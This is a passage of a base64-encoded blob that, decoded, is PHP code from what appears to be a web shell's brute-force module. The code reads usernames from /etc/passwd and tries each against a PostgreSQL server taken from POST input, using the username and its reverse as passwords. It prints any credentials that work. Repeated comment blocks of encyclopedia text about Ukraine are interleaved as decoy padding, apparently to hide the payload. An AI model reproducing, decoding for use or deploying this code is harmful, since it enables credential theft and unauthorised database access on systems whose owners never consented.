wYXNzLiInIGRibmFtZT0nJyI7CgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHNlcnZlclswXS4nOicuJHNlcnZlclsxXT8kc2VydmVyWzFdOjU0MzIsICRsb2dpbiwgJHBhc3MpOwoJCQkJQHBnX2Nsb3NlKCRyZXMpOwoJCQkJcmV0dXJuICRyZXM7CgkJCX0KCQl9CgkJJHN1Y2Nlc3MgPSAwOwoJCSRhdHRlbXB0cyA9IDA7CgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsKCQlpZigkX1BPU1RbJ3R5cGUnXSA9PSAxKSB7CgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOwoJCQkJCX0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJCSR0bXAgPSAiIjsKCQkJCQkJZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk+PTA7IC0tJGkpCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsKCQkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJHRtcCkgKSB7CgkJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7CgkJCQkJCX0KCQkJCQl9Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSB